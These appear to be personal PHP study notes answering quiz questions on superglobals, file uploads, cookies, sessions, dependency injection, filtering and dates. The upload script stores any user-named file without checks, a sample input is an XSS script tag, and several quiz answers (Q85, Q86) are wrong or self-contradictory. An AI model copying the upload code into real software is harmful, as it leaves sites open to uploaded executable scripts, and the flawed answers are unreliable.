HTML form (file_upload_form.html):



<form action="upload.php" method="post" enctype="multipart/form-data">
<input type="file" name="fileToUpload" id="fileToUpload">
<input type="submit" value="Upload File" name="submit">
</form>

PHP script to handle file upload (upload.php):


<?php
// Check if the form was submitted
if ($_SERVER["REQUEST_METHOD"] == "POST") {
// Check if file was uploaded without errors
if (isset($_FILES["fileToUpload"]) &&
$_FILES["fileToUpload"]["error"] == 0) {
// Print file details
echo "File Name: " . $_FILES["fileToUpload"]["name"] . "<br>";
echo "File Type: " . $_FILES["fileToUpload"]["type"] . "<br>";
echo "File Size: " . ($_FILES["fileToUpload"]["size"] / 1024)
. " KB<br>";
echo "Temporary File: " . $_FILES["fileToUpload"]["tmp_name"]
. "<br>";

// Move uploaded file to desired location


$targetDir = "uploads/";
$targetFile = $targetDir .
basename($_FILES["fileToUpload"]["name"]);
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"],
$targetFile)) {
echo "File has been uploaded successfully.";
} else {
echo "Sorry, there was an error uploading your file.";
}
} else {
echo "Error: " . $_FILES["fileToUpload"]["error"];
}
}
?>

Here, tmp_name: When a file is uploaded through a form, it's stored temporarily on the server's
filesystem with a temporary name. Your PHP script can then access this temporary file and
process it further. This temporary file is not accessible after the script execution ends unless it's
moved to a permanent location using functions like move_uploaded_file().

The temporary filename for uploaded files in PHP is generated by the web server. It typically
follows a pattern that includes the directory where temporary files are stored, a prefix, and a
random or unique identifier. let's say you upload a file named "example.txt" using an HTML
form. Here's an example of what the temporary filename might look like:
/tmp/php/php12AbC3

In this example:
> /tmp/php/ is the directory where temporary files are stored on the server.
> php is a prefix indicating that the file is generated by PHP.
> 12AbC3 is a randomly generated or unique identifier appended to the prefix to ensure the
filename is unique.

• $_ENV: This superglobal variable contains information about the environment in which
the PHP script is running. It represents environment variables that are set in the server's
environment configuration, such as those configured in the server's operating system.
These variables can include information like the server's hostname, the user running the
script, or custom environment variables set by the server administrator.
• $_COOKIE: This superglobal variable is used to access cookies sent by the client's
browser to the server. Cookies are small pieces of data that are stored on the client's
machine and sent with each subsequent request to the server. $_COOKIE is an
associative array where the keys are the names of the cookies and the values are their
corresponding values.

<?php
// Set a cookie
$cookie_name = "user";
$cookie_value = "John Doe";
$expiration_time = time() + (86400 * 30); // Cookie expires in 30 days
setcookie($cookie_name, $cookie_value, $expiration_time, "/"); // Set
cookie for the entire domain ("/")

// Retrieve and display the cookie value


if(isset($_COOKIE[$cookie_name])) {
echo "Cookie '" . $cookie_name . "' has the value: " .
$_COOKIE[$cookie_name];
} else {
echo "Cookie '" . $cookie_name . "' is not set.";
}

// Delete a cookie
// To delete a cookie, you need to set its expiration time to a time
in the past
$cookie_name_to_delete = "user";
$expiration_time_to_delete = time() - 3600; // Set expiration time to
1 hour ago
setcookie($cookie_name_to_delete, "", $expiration_time_to_delete,
"/"); // Delete cookie for the entire domain ("/")
?>

> We set a cookie named "user" with the value "John Doe" using the setcookie() function.
The cookie will expire in 30 days ($expiration_time).
> We then retrieve the value of the cookie named "user" from the $_COOKIE superglobal and
display it.
> Finally, we delete the "user" cookie by setting its expiration time to a time in the past using
setcookie().

• $_SESSION: This superglobal variable is used to store session data across multiple
requests from the same client. Sessions provide a way to maintain state information
about individual users as they navigate through a website. $_SESSION is an associative
array that stores session variables, which can be set, retrieved, and unset as needed
throughout the user's session.

<?php
// Start or resume a session
session_start();

// Set session variables


$_SESSION["username"] = "JohnDoe";
$_SESSION["email"] = "johndoe@example.com";

// Access and display session variables


echo "Username: " . $_SESSION["username"] . "<br>";
echo "Email: " . $_SESSION["email"] . "<br>";

// Unset and destroy session variables


session_unset(); // Unset all session variables
session_destroy(); // Destroy the session

// Check if the session variables are still accessible


if(isset($_SESSION["username"])) {
echo "Session variable 'username' is still set.";
} else {
echo "Session variable 'username' is no longer set.";
}
?>

Link: SuperGlobals: http://www-


db.deis.unibo.it/courses/TW/DOCS/w3schools/php/php_superglobals.asp.html#gsc.tab=0

Link: PHP Super Global Variables http://www-


db.deis.unibo.it/courses/TW/DOCS/w3schools/php/php_superglobals.asp.html#gsc.tab=0

Q68. Describe what happens if you run this code in a testing environment
$capitals = ['UK' => 'London', 'France' => 'Paris'];
echo "$capitals['france'] is the capital of France.";

> It triggers a syntax error because the array key on line 2 is in quotes.

1. It must be like this (string interpolation):


echo "{$capitals['France']} is the capital of France.";
Or like this (concatenation),
echo $capitals['France'] . “is the capital of France.";

2. And, instead of france, it has to be France

Here’s correct version:


$capitals = ['UK' => 'London', 'France' => 'Paris'];
echo "{$capitals['France']} is the capital of France.";

the code you provided demonstrates the use of key-value pairs in PHP, specifically within an
associative array.
$capitals = ['UK' => 'London', 'France' => 'Paris'];: This line initializes an
associative array called $capitals with key-value pairs. In PHP, an associative array allows you
to associate keys with values. In this example, 'UK' is the key associated with the value
'London', and 'France' is the key associated with the value 'Paris'.

echo "{$capitals['France']} is the capital of France.";: This line uses string


interpolation to insert the value associated with the key 'France' from the $capitals array into a
string. String interpolation in PHP allows you to embed variables or expressions within double-
quoted strings. By enclosing the expression $capitals['France'] within curly braces {}, PHP
knows to evaluate the expression and insert its value into the string.
Q69. DRY (Don't Repeat Yourself) is a principle of software development aimed at reducing repetition
of software patterns. Which choice is not a way to write DRYer code with PHP?

a. inheritance
b. classes
c. namespacing
d. dependency injection

>c

The principle of DRY (Don't Repeat Yourself) in software development advocates for reducing
duplication of code, logic, and patterns within a codebase. It promotes efficiency, maintainability,
and readability by encouraging code reuse and abstraction.
In PHP, there are several techniques to write DRYer code:
• Inheritance: Inheritance allows classes to inherit properties and methods from another
class, enabling code reuse. By creating a hierarchy of classes where child classes
inherit from parent classes, you can avoid duplicating common functionality.
• Classes: Organizing code into classes allows for encapsulation and abstraction,
facilitating code reuse. Classes define blueprints for objects, and they can be
instantiated multiple times throughout the codebase, promoting DRY principles.
• Dependency Injection: Dependency injection is a design pattern that promotes loose
coupling between components by injecting dependencies rather than hard-coding them.
By injecting dependencies into classes rather than creating them internally, you can
promote code reuse and make classes more flexible and testable.

Apart from that this is what namespacing:


• Namespacing: Namespacing in PHP allows for organizing code into logical groups and
prevents naming collisions. While namespaces are essential for code organization and
avoiding conflicts, they are not inherently related to reducing code duplication.

Details about dependency Injection:


Dependency Injection: a technique for achieving inversion of control (IoC), where a
component's dependencies are injected into it rather than created internally.

There are many design patterns in software development, each addressing specific problems
and providing proven solutions. Some commonly recognized design patterns include:
1. Creational Patterns: These patterns deal with object creation mechanisms, trying to
create objects in a manner suitable to the situation.
Example: Singleton, Factory Method, Abstract Factory, Builder, Prototype.
2. Structural Patterns: These patterns deal with object composition or structure, focusing
on how classes and objects are composed to form larger structures.
Example: Adapter, Decorator, Proxy, Bridge, Composite, Facade.
3. Behavioral Patterns: These patterns are concerned with the interaction between objects,
defining how objects communicate and interact with each other.
Example: Observer, Strategy, Command, Iterator, Template Method, State, Visitor.

Now, let's delve into how dependency injection works with a simple example:
Consider a scenario where you have a UserService class that requires an instance of a
UserRepository to perform database operations. Rather than creating an instance of
UserRepository within the UserService class, you can inject it as a dependency:
class UserService {
private $userRepository;

public function __construct(UserRepository $userRepository) {


$this->userRepository = $userRepository;
}
public function getUser($id) {
return $this->userRepository->getUserById($id);
}

// Other methods using $this->userRepository


}

class UserRepository {
public function getUserById($id) {
// Fetch user from database and return
}

// Other database operations


}

• The UserService class has a constructor that accepts an instance of


UserRepository as a parameter. This is dependency injection.
• The UserService class doesn't create an instance of UserRepository internally;
instead, it relies on the instance passed during instantiation.
• This approach makes the UserService class more flexible because it can work with
any implementation of UserRepository, promoting code reusability and testability.

Overall, dependency injection is a powerful technique for managing dependencies between


components, leading to more maintainable, modular, and testable codebases.

Dependency Injection In Laravel:


In Laravel, dependency injection is extensively used to manage dependencies between classes,
especially in the context of service container and service provider.
Let's consider a practical example in a Laravel application where we have a UserController that
depends on a UserService to perform user-related operations. We'll demonstrate how to inject
the UserService dependency into the UserController using Laravel's built-in dependency
injection mechanism.
First, let's define the UserService class:
namespace App\Services;

class UserService {
public function getAllUsers() {
// Logic to fetch all users from the database
}

// Other user-related methods


}

Now, let's define the UserController class and inject the UserService dependency into its
constructor:
namespace App\Http\Controllers;
use App\Services\UserService;

class UserController extends Controller {


protected $userService;

public function __construct(UserService $userService) {


$this->userService = $userService;
}

public function index() {


$users = $this->userService->getAllUsers();
return view('users.index', ['users' => $users]);
}

// Other controller methods


}

In this example,

• We define the UserService class with a method getAllUsers() to fetch all users
from the database. This class encapsulates user-related business logic.
• The UserController class extends Laravel's base controller and depends on the
UserService to perform user-related operations.
• We inject the UserService dependency into the UserController constructor using
type hinting. Laravel's service container resolves and injects the UserService instance
automatically when a UserController instance is created.
• The index() method in the UserController uses the injected UserService
instance to fetch all users and passes them to a view for rendering.

Now I also have used public function index(Request $request) {} etc, here also object is passing.
is this dependency injection?

> Yes, when you type-hint a class or interface in a method signature, such as Request $request,
and Laravel automatically injects an instance of that class into the method, it is indeed a form
of dependency injection.
In Laravel, route parameters, request parameters, and other objects that you type-hint in
controller method signatures are resolved and injected automatically by Laravel's service
container. This is a form of dependency injection called method injection or action injection.
public function index(Request $request) {
// Method body
}

The Request object is injected into the index method by Laravel's service container. This
($request) allows you to access and manipulate the current HTTP request data, such as query
parameters, form data, headers, etc., within the method body without explicitly creating an
instance of the Request object.
Q70. Which code will return the IP address of the client?
a. $HTTP_SERVER_VARS("REMOTE_IP")
b. $_SESSION["REMOTE_ADDR"];
c. $_SERVER["HTTP_X_FORWARDED_FOR"]
d. getenv("REMOTE_ADDR")

ans: d
best answer: $_SERVER[“REMOTE_ADDER”];
c->return an array of addresses

• $_SERVER["HTTP_X_FORWARDED_FOR"]: The X-Forwarded-For (XFF) request


header is a de-facto standard header for identifying the originating IP address of a client
connecting to a web server through a proxy server.

When a client connects directly to a server, the client's IP address is sent to the server (and is
often written to server access logs). But if a client connection passes through any forward or
reverse proxies, the server only sees the final proxy's IP address, which is often of little use.
That's especially true if the final proxy is a load balancer which is part of the same installation as
the server. So, to provide a more-useful client IP address to the server, the X-Forwarded-For
request header is used.
If a request goes through multiple proxies, the IP addresses of each successive proxy is listed.
This means that, given well-behaved client and proxies, the rightmost IP address is the IP
address of the most recent proxy and the leftmost IP address is the IP address of the originating
client.
Here are some key points to understand about $_SERVER["HTTP_X_FORWARDED_FOR"]
Proxy Servers: Proxy servers are intermediaries that forward requests from clients to other
servers. They are commonly used to improve performance, provide security, or enforce access
controls.
X-Forwarded-For Header: When a client makes a request through a proxy server, the proxy
server adds the client's original IP address to the X-Forwarded-For header. If there are multiple
proxy servers involved, each one appends the IP address to this header, creating a comma-
separated list of IP addresses. The client's IP address is usually the first one in the list.
Client IP Address: By accessing $_SERVER["HTTP_X_FORWARDED_FOR"], you can retrieve
the client's IP address as provided by the proxy server. This can be useful for logging, tracking
user activity, or implementing access controls based on IP addresses.
Security Considerations: While $_SERVER["HTTP_X_FORWARDED_FOR"] can be useful, it's
important to be aware that the header value can be manipulated or spoofed by malicious users.
Therefore, it should not be blindly trusted for security-sensitive operations without appropriate
validation.
Fallback: If the request does not pass through a proxy server, or if the proxy server does not add
the X-Forwarded-For header for some reason, $_SERVER["HTTP_X_FORWARDED_FOR"] may
be empty or undefined. In such cases, other methods such as $_SERVER["REMOTE_ADDR"]
can be used to retrieve the client's IP address.

• $_SERVER['REMOTE_ADDR'] is created by the webserver, it's safe and reliable. It's


always just an IP address in numeric format, you don't need to sanitize it.
The $_SERVER['REMOTE_ADDR'] variable in PHP contains the IP address of the client
making the request to the server. It is a part of the $_SERVER superglobal array, which provides
information about the server and the execution environment.

Direct Connection: When a client connects directly to the server without passing through a proxy
server or any intermediate network devices, $_SERVER['REMOTE_ADDR'] accurately reflects
the client's IP address.

Proxy Servers: In some cases, when the client connects to the server through a proxy server or
a network device such as a load balancer, $_SERVER['REMOTE_ADDR'] may return the IP
address of the proxy server or the intermediate device instead of the client's actual IP address.
This behavior depends on the server configuration and how the proxy server forwards the
requests.

Security Considerations: While $_SERVER['REMOTE_ADDR'] can be useful for identifying the


client's IP address, it's important to be aware that the IP address can be spoofed or manipulated
by malicious users. Therefore, it should not be blindly trusted for security-sensitive operations
without appropriate validation.

PHP | Determining Client IP Address


What is an IP Address?
> The IP address stands for Internet Protocol Address. An IP address is used to provide an
identity to a networked device.IP addresses allow the location of different digital devices that are
connected to the Internet to be pinpointed and differentiated from other devices.

In this post we have discussed two different ways of determining the client IP address from a
PHP script as explained below:
Using getenv() function: To get the IP Address,we use getenv(“REMOTE_ADDR”)
command. The getenv() function in PHP is used for retrieval of values of an environment
variable in PHP. It is used to return the value of a specific environment variable.

Determining IP Address using $_SERVER Variable Method : There is another way to get the IP
Address by using the $_SERVER[‘REMOTE_ADDR’] or $_SERVER[‘REMOTE_HOST’]
variables. The variable in the $_SERVER array is created by the web server such as apache and
those can be used in PHP.
Basically $_SERVER[‘REMOTE_ADDR’] gives the IP address from which the request was sent
to the web server.

The $_SERVER['REMOTE_HOST'] variable in PHP is used to retrieve the hostname of the


client making the request to the server. However, it's important to note that this variable is not
as commonly used or reliable as $_SERVER['REMOTE_ADDR'] for retrieving client information
Here are some key points to understand about $_SERVER['REMOTE_HOST']:
1. Hostname Resolution: The value of $_SERVER['REMOTE_HOST'] is obtained through
reverse DNS resolution. When a client connects to a server, the server can perform a
reverse DNS lookup on the client's IP address to determine its hostname.
2. Not Always Available: Unlike $_SERVER['REMOTE_ADDR'], which is almost always
available, $_SERVER['REMOTE_HOST'] is not guaranteed to be set. This is because
reverse DNS resolution may not always be enabled or may fail to provide a hostname for
the client's IP address.
$_SERVER['REMOTE_HOST'] provides the hostname, not the IP address.

getenv("REMOTE_ADDR") can be used to retrieve the client's IP address, similar to


$_SERVER['REMOTE_ADDR']. However, whether it is always guaranteed to be available
depends on the server configuration and the specific environment in which the PHP script is
running. In most cases, both getenv("REMOTE_ADDR") and $_SERVER['REMOTE_ADDR']
should return the same value for the client's IP address. However, there could be rare
configurations or situations where getenv("REMOTE_ADDR") may not be available or may
return a different value. As a best practice, $_SERVER['REMOTE_ADDR'] is more commonly
used and is generally more reliable for retrieving the client's IP address.

So, correct answer is:


• $_SERVER[‘REMOTE_ADDR’]
• getenv("REMOTE_ADDR")

But best answer is: $_SERVER[‘REMOTE_ADDR’]

Link: PHP | Determining Client IP Address: https://www.geeksforgeeks.org/php-determining-


client-ip-address/

X-Forwarded-For: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Forwarded-
For

Q71. Your site must allow uploading of large files. What might you need to do?

> Change the upload_max_filesize configuration parameter.

In php.ini

Q72. What is the output of this script?


$my_text = 'The quick grey [squirrel].';
preg_match('#\[(.*?)\]#', $my_text, $match);
print $match[1]."\n";

> squirrel

The provided code snippet uses PHP's preg_match function to perform a regular expression
match on the string $my_text

Line2 uses the preg_match function to search for a pattern within $my_text.
The pattern #\[(.*?)\]# is a regular expression enclosed in delimiters #
• \[: Matches the literal character [
• (.*?): This is a capturing group ( ... ) that matches any character (.) zero or
more times *, but in a non-greedy way ?. The non-greedy qualifier ensures that it
matches the smallest possible string inside the square brackets.
• \]: Matches the literal character ].
Delimiters: In regular expressions, delimiters are special characters used to mark the beginning
and end of the pattern. They help distinguish the regular expression pattern from other parts of
the expression or from surrounding text. Anything between the delimiters is treated as the
regular expression pattern.
Common delimiters include the forward slash (/), hash (#), and tilde (~).

Typically, nothing significant should appear outside the delimiter. The entire regular expression,
including any modifiers or flags, should be contained within the delimiters.

Q73. What is the output of this script?


$fruits = ['apple', 'orange', 'pear', 'mango', 'papaya']; $i = 0; echo
$fruits[$i+=3];

> mango

Q74. What are some of the main types of errors in PHP?

> notices, warnings, fatal

Ex:
In PHP, notices, warnings, and fatal errors are part of the error reporting system and are
classified based on their severity.
i. Notices: Notices are the least severe type of error in PHP. They indicate non-critical
issues in the code, such as using a variable that has not been initialized or accessing an
undefined array index. Notices do not halt the execution of the script, but they serve as helpful
warnings to developers to improve code quality.
ii. Warnings: Warnings are more severe than notices but less severe than fatal errors.
They indicate potentially problematic situations in the code that could lead to unexpected
behavior or errors. Examples include attempting to include a file that does not exist or using a
deprecated function. Like notices, warnings do not stop the script from running but should be
addressed to prevent issues.
iii. Fatal Errors: Fatal errors are the most severe type of error in PHP. They indicate
critical issues that prevent the script from continuing execution. Examples include calling a
function with the wrong number of arguments or attempting to redeclare a function or class.
When a fatal error occurs, the script terminates immediately, and an error message is displayed.
Fatal errors should be fixed as they can cause the script to fail completely.

Q75. What is the correct way to include the file gravy.php in the middle of HTML code?

>
<?php include "gravy.php"; ?>

Exp: if you want to use require instead:

<?php require 'gravy.php'; ?>

In practice, you would replace "gravy.php" with the actual filename of the PHP file you want to
include. The filename could be anything you've named your PHP file, such as "header.php",
"functions.php", or any other filename that corresponds to the PHP file you wish to include.
Q76. Which two functions can sanitize text and validate text formats?

a. session_start() and filter_input()


b. filter_var() and filter_input()
c. preg_match() and strstr()

>b

Exp:
• Filter_var(): filter_var() is used to filter a single variable with a specified filter. It takes two
parameters: the variable to be filtered and the filter to apply. It returns the filtered data if
the filter is valid, or false otherwise.

// Original input data


$input = "<script>alert('Hello');</script>";

// Sanitize the input to remove any HTML tags


$sanitized_input = filter_var($input, FILTER_SANITIZE_STRING);

echo $sanitized_input;

Output:
alert(&#39;Hello&#39;);

Note:
FILTER_SANITIZE_STRING is deprecated. The PHP community decided that the usage of
this filter should not be supported anymore.
> Use the default string filter FILTER_UNSAFE_RAW that doesn't do any filtering. that will give
you the string value.
> If you used this filter to protect against XSS vulnerabilities, then replace its usage with
htmlspecialchars()

• filter_input(): is used to get and filter an external variable (e.g., from GET, POST, or
COOKIE). It takes three parameters: the type of input (e.g., INPUT_POST,
INPUT_GET), the name of the variable, and the filter to apply. It returns the filtered data
if the filter is valid, or false otherwise.

// Validate and sanitize a user's email address


$email = filter_input(INPUT_POST, 'email', FILTER_VALIDATE_EMAIL);

if ($email) {
echo "Valid email address: $email";
} else {
echo "Invalid email address";
}

These functions can be used for both sanitization and validation:


• Sanitization: Removing potentially dangerous characters or content from input data to
prevent security vulnerabilities like cross-site scripting (XSS) attacks. For example,
using FILTER_SANITIZE_STRING to remove HTML tags from input text.
• Validation: Checking if input data conforms to a specific format or pattern. For example,
using FILTER_VALIDATE_EMAIL to ensure that an email address is properly formatted.

Now:
strstr() is a PHP function used for finding the first occurrence of a string within another string.
$string = "The quick brown fox jumps over the lazy dog";
$substring = strstr($string, "fox");
echo $substring;

Output; fox jumps over the lazy dog

preg_match() is used for pattern matching with regular expressions

$string = "The quick brown fox jumps over the lazy dog";
if (preg_match("/fox/", $string)) {
echo "Found a match!";
} else {
echo "No match found.";
}

Q77. Why is it not recommended to make all of a class's variables public?

> You will have no control over which values the attribute can take. Any external code will be
able to change it without any constraint.

Q78. You want to use wildcard characters when searching for records in a MySQL/MariaDB database
using a PDO prepared statement. Which code should you use?

> $statement->bindValue(':name', '%' . $_GET['name'] . '%');

In PHP, wildcard characters are typically used in conjunction with SQL queries to perform
pattern matching in database searches. The most common wildcard characters are % (percent
sign) and _ (underscore), where % matches any sequence of characters (including none) and _
matches any single character.
In the above statement,
> $_GET['name'] is retrieving a value from the GET parameters passed in the URL

> The % characters are concatenated with $_GET['name'] using the . operator.
This results in a string with % appended before and after the value retrieved from the GET
parameter. For example, if $_GET['name'] contains "John", then the resulting string would be
"%John%". Appending % before and after the value retrieved from $_GET['name'] serves the
purpose of using wildcard characters in SQL queries. When % is appended before and after the
value, as in %John%, it signifies that any characters can appear before and after the word
"John". This allows for a broader search, effectively acting as a wildcard for zero or more
characters.

> This modified string is then bound to the prepared statement using bindValue(). The :name
placeholder is used to represent this value in the SQL query.
In the context of an SQL query, when this bound value is used in a LIKE clause, it will match
any occurrences of the value in the specified column, allowing for flexible pattern matching.

Q79. Create an associative array using $array1 as the keys and $array2 as the values
$array1 = ['country', 'capital', 'language']; $array2 = ['France',
'Paris', 'French'];

A. $array3 = array_merge($array1, $array2);


B. $array3 = array_union($array1, $array2);
C. $array3 = array_keys($array1, $array2);
D. $array3 = array_combine($array1, $array2);

Ans: d

$array1 = ['country', 'capital', 'language']; $array2 = ['France',


'Paris', 'French'];
$array3 = array_combine($array1, $array2);

print_r($array3);
echo $array3['country'];

Output:
Array
(
[country] => France
[capital] => Paris
[language] => French
)
France

Works like a key value pair.

An associative array in PHP is a collection of key-value pairs where each key is associated with
a value. Unlike indexed arrays, where the keys are numeric and start from zero, in associative
arrays, keys can be of any data type (usually strings or integers) and are explicitly defined by
the programmer. This allows for more flexible data storage and retrieval based on named keys
rather than numerical indices. Here's an example of an associative array:

$student_scores = array(
"John" => 85,
"Alice" => 92,
"Bob" => 78,
"Emily" => 95
);

"John", "Alice", "Bob", and "Emily" are the keys.


85, 92, 78, and 95 are the corresponding values associated with each key.
You can access the values in an associative array by using the corresponding keys. For
instance:
echo $student_scores["Alice"]; // Output: 92

• array_merge: The array_merge() function in PHP is used to merge the elements of


two or more arrays together into a single array. It takes two or more arrays as arguments
and returns a new array containing all the elements from the input arrays. Here's the
basic syntax:

array_merge($array1, $array2, ...);

$array1 = array("a", "b", "c");


$array2 = array(1, 2, 3);
$result = array_merge($array1, $array2);
print_r($result)

Output:
Array
(
[0] => a
[1] => b
[2] => c
[3] => 1
[4] => 2
[5] => 3
)

B. Array_union: In PHP, there's no built-in function named array_union()

C. Array_keys: The code "$array3 = array_keys($array1, $array2);" is valid


PHP syntax, but it might not produce the expected result depending on the contents of
$array1 and $array2.

The array_keys() function in PHP is used to return the keys of an array. It accepts two
parameters:

• The array from which to extract keys.


• An optional search value. If specified, only the keys for which the corresponding value
matches the search value will be returned. Here’s search value expects a scalar value
(such as a string or integer) as the search value, not an array (above code have array2 as
search value, incorrect.

Here's how array_keys() typically works:


$array = array(
"a" => 1,
"b" => 2,
"c" => 3,
"d" => 2
);
$keys = array_keys($array); // Returns ["a", "b", "c", "d"]

And Here’s how to search using array_keys:


$array1 = array("a", "b", "c");
$result = array_keys($array1, 'b');
print_r($result)

output:
Array
(
[0] => 1
)

It gives the key of the value b in the array.

Q80. Assume that $r is 255, and $g and $b are both 0. What is the correct code to output "#ff0000"?

> printf('#%02x%02x%02x', 255, 0, 0);

formatted string output in PHP that uses the printf() function to format and output a string
representing a hexadecimal color value.
• #: This is a literal character that represents the beginning of a hexadecimal color value in
HTML/CSS notation.
• %02x: This is a format specifier used by printf(). The %x part indicates that the argument
should be printed as a hexadecimal number. The 02 part specifies that it should be zero-
padded to a width of 2 characters if necessary. This ensures that each component of the
color (red, green, and blue) is represented by exactly two hexadecimal digits.
So, when printf('#%02x%02x%02x', 255, 0, 0); is executed:
%02x is replaced by ff (the hexadecimal representation of 255).
%02x is replaced by 00 (the hexadecimal representation of 0).
%02x is replaced by 00 (again, the hexadecimal representation of 0).

Thus, the resulting output is #ff0000, which represents the color red in hexadecimal notation.

Q81. You want to find out what day Twelfth Night falls on after Christmas 2018. Which code should
you use?
a. $twelfth_night = strtotime('December 25, 2018 + 12 days'); echo
strftime('%d', $twelfth_night);
b. $xmas = new DateTime('Dec 25, 2018'); $twelfth_night = $xmas-
>add(new DateInterval('P12D')); echo $twelfth_night->format('l');
c. $xmas = new DateTime('Dec 25, 2018'); $twelfth_night = $xmas-
>add(strtotime('12 days')); echo $twelfth_night->format('D');

>a

Note: Here’s strftime is deprecated. So here’s the fix version:


$twelfth_night_timestamp = strtotime('December 25, 2018 + 12 days');
$twelfth_night_date = date('d', $twelfth_night_timestamp);
echo $twelfth_night_date;

Output: 06

Twelfth Night is the "06" day of January, 2019.

It first calculates the timestamp for Twelfth Night using strtotime(), then formats that
timestamp to retrieve the day of the month using date() with the 'd' format specifier. Finally,
it echoes out the day of the month. Here, the output generated by the date() function with the
format 'd' is the same as what would have been generated by strftime('%d',
$twelfth_night);.

B. B generates output:
$xmas = new DateTime('Dec 25, 2018');
$twelfth_night = $xmas->add(new DateInterval('P12D'));
echo $twelfth_night->format('l');

Output: Sunday

$twelfth_night = $xmas->add(new DateInterval('P12D'));: This line adds a


DateInterval of 12 days to the $xmas DateTime object, effectively calculating the date of Twelfth
Night. The P12D interval represents a period of 12 days.

echo $twelfth_night->format('l');: This line formats the date of Twelfth Night stored
in the $twelfth_night DateTime object and prints the day of the week using the format
specifier 'l', which stands for the full textual representation of the day of the week (e.g.,
Monday, Tuesday, etc.). Also note, here also d specifier would prints 06, which is the date of the
month. And y specifer prints year 19 (short of 2019), capital y prints 2019, m specifier prints 01
the month, M prints out Jan, D-M-Y prints “Sun-Jan-2019” etc. format as you like.

The object: new DateInterval('P12D'); looks like this:


DateInterval Object
(
[y] => 0
[m] => 0
[d] => 12
[h] => 0
[i] => 0
[s] => 0
[f] => 0
[invert] => 0
[days] =>
[from_string] =>
)

Here, both A, B seems correct, but b prints the day of the week. A specify the day of the month.
Probable answer A.
C. Is error. The line $twelfth_night = $xmas->add(strtotime('12 days')); is
incorrect because the add() method of the DateTime object expects a DateInterval object, not
a timestamp as returned by strtotime().
Here,
$test = strtotime('12 days');
echo $test;

This prints: something like: 1709740043 (based on current date). Here’s it tries to interpret the
string '12 days' as a relative date/time expression and convert it into a Unix timestamp, which
represents the number of seconds since the Unix epoch (January 1, 1970, 00:00:00 UTC). In
this case, '12 days' is interpreted as a relative expression meaning 12 days after the current
date and time. So, it calculates the timestamp for 12 days from the current date and time. So the
following code also prints something similar:
$today = date('Y-m-d');
$timestamp = strtotime($today . ' + 12 days');
echo $timestamp;

prints: 1709683200. Nearly the same. dif(56,843) based on hour, minutes, seconds, difference
etc. But this will print exactly same as strtotime(‘12 days’)
$today = date('Y-m-d H:i:s');
echo $today;
echo "\n";
$timestamp = strtotime($today . ' + 12 days');

Q82. Which loop displays all numbers from 1 to 10 inclusive?


a. $i = 1; while ($i < 10) { echo $i++ . '<br/>'; }
b. $i = 0; while ($i <= 10) { echo $i++ . '<br/>'; }
c. $i = 0; while ($i < 10) { echo ++$i . '<br/>'; }

A: c

A prints 1 to 9, b print 0 to 10, c print 1 to 10

Q83. Which are types of control structures in PHP?


> break, continue, do-while, exception, for, foreach, if, switch, throw, while

Ans:
• if
• else
• elseif/else if
• while
• do-while
• for
• foreach
• break
• continue
• switch
• match
• declare
• return
• require
• include
• require_once
• include_once
• goto

Additional: exception, throw

Require: If the specified file cannot be found or included for any reason (e.g., file not found,
permission issues), require will result in a fatal error, halting script execution.
Include: If the specified file cannot be found or included, include will result in a warning but allow
the script to continue executing.
Ex01:
// Attempt to include a file that does not exist using require
require 'nonexistent_file.php';

// This line will not be executed because require resulted in a fatal


error
echo 'This line will not be executed due to the fatal error caused by
require.';

Ex02:
// Attempt to include a file that does not exist using include
include 'nonexistent_file.php';

// This line will be executed despite the warning caused by include


echo 'This line will be executed even though include resulted in a
warning.';

Q84. Which function can you use in error handling to stop the execution of a script and is
equivalent to exit()?
> die

die() function is used to display a message and terminate the script execution. It's equivalent to
exit(), but die() is often used in the context of error handling or when immediate termination is
required due to an unrecoverable error condition.

$file = 'example.txt';

// Attempt to open the file


$handle = fopen($file, 'r');

// Check if the file was successfully opened


if (!$handle) {
// If fopen() failed, display an error message and terminate the
script
die("Unable to open file: $file");
}
// Continue processing the file if it was opened successfully

Q85. Is the output of this code in descending order, shown vertically, and with spaces
between numbers? And what is the output?
$numbers = array(4,6,2,22,11);
sort($numbers);
$arrlength = count($numbers);
for($x = 0; $x < $arrlength; $x++){
echo $numbers[$x];
echo "<br />";
}

• This does not meet all the criteria because the sort() function sorts an indexed array in
ascending order. Thus this code will display "2 4 6 11 22" shown vertically, but the
numbers are spaced.

Q86. Which is not true of the toString() in PHP?


A. It saves a lot of work of using setters methods to access the values of objects.
B. It saves a lot of work of using getters methods to access the values of objects.
C. It allows you to call an object and see its components as a string.
D. It is automatically called when you use echo or print.

Ans: C

Magic Method:
Magic methods are special methods which override PHP's default's action when certain actions
are performed on an object.
The following method names are considered magical: __construct(), __destruct(),
__call(), __callStatic(), __get(), __set(), __isset(), __unset(),
__sleep(), __wakeup(), __serialize(), __unserialize(), __toString(),
__invoke(), __set_state(), __clone(), and __debugInfo().

All magic methods, with the exception of __construct(), __destruct(), and


__clone(), must be declared as public, otherwise an E_WARNING is emitted.

Remember that magic methods are predefined and cannot be created or removed. They
provide flexibility and allow you to customize the behavior of your objects in PHP applications

__toString() : The __toString() method allows a class to decide how it will react when it
is treated like a string.
A Stringable object will not be accepted by a string type declaration if strict typing is enabled.

Stringable Object: In PHP 8, the Stringable interface was introduced. It denotes a class as
having a __toString() method. The primary purpose of the Stringable interface is to allow
functions to type-check against the union type string|Stringable. This means a function can
accept either a string primitive or an object that can be cast to a string. In other words, a
Stringable object is an object that can be represented as a string when needed. It must
implement the __toString() method, which returns a string representation of the object.
Strict Typing: Strict typing is a feature in PHP that allows you to enforce strict type checking for
function parameters and return values. By default, PHP is lenient with type conversions. For
example, if a function expects an integer but receives a float, PHP will implicitly coerce the value
to an integer. To enable strict typing, you use the declare(strict_types=1); directive at the
beginning of a PHP file. When strict typing is enabled: PHP expects values to match the target
types exactly. If there’s a type mismatch (e.g., passing a float where an int is expected), PHP
will issue a TypeError exception.

__toString simple example:

<?php
class Product {
private string $name;

public function __construct(string $name) {


$this->name = $name;
}

public function __toString(): string {


return "Product: " . $this->name;
}
}

$product = new Product("Phone");


echo $product; // Output: "Product: Phone"
?>

This method is automatically called when an object is used in a string context, such as when
using echo or print.

D. Correct: This method is automatically called when an object is used in a string context, such
as when using echo or print

A, B, C: confusion.
As, the the method is automatically called and need to setter and getter, it can be said, that
setter, getter method is not used, thus saving time.
Now C. In this example, the __toString() method allows us to customize how the $product
object is displayed when treated as a string. It returns the string “Product: Phone” instead of the
default object representation .

a. Incorrect: The toString() method is not related to setters at all. Setters are used to assign values to
